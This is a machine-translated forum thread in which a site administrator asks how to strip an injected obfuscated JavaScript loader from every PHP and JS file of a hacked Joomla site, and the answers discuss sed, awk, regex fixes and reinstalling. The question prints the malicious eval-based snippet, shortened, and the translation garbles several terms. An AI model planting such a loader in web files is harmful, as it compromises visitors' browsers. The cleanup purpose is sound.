GREP查找并使用SEDreplace所有文件中的string

我们之前托pipe的一个Joomla网站遭受了JavaScript注入,我正在进行清理。 以下代码被插入到每个.php或.js文件中:

<? #0c0896# echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>"; #/0c0896# ?> 

“确切的语法,虽然实际的代码是更长的,我削减了很多hex,使之更容易”

我正在尝试使用GREP和SED来查找和replace所有文件,而且我不认为我的SED语法是正确的。

 grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g 

我在这里要做的是使用grep来search所有文件,find正在工作的代码片段,然后使用SEDreplace#0c0896#和其间的所有内容。

Sed是错误的工具,因为它一次只考虑一行。

Awk是在两条匹配线之间对内容采取行动的更好的工具。

 awk '/a/,/b/ { next } { print }' 

将跳过匹配正则expression式a和正则expression式b的行之间的所有内容。

然而,更直接的答案是,一旦机器受到损害, 就不能相信任何东西 。 专业系统pipe理员唯一适当的行动方式是从头重新安装机器。

代替

 <?[.*]#0c0896#[.*]#\/0c0896#[.*]?> 

使用

 <?.*#0c0896#.*#\/0c0896#.*?> 

括号expression式仅匹配一个单个字符,即该字符位于括号内。 在括号expression式中,正则expression式量词和其他特殊字符也失去意义。 您提供的expression方式意味着:匹配一个打开的angular度括号,然后是一个问号,然后是一个点或一个星号,然后…

Sed是面向行的,所以上面的.* 不会跨越行。 是在一行上的违规代码?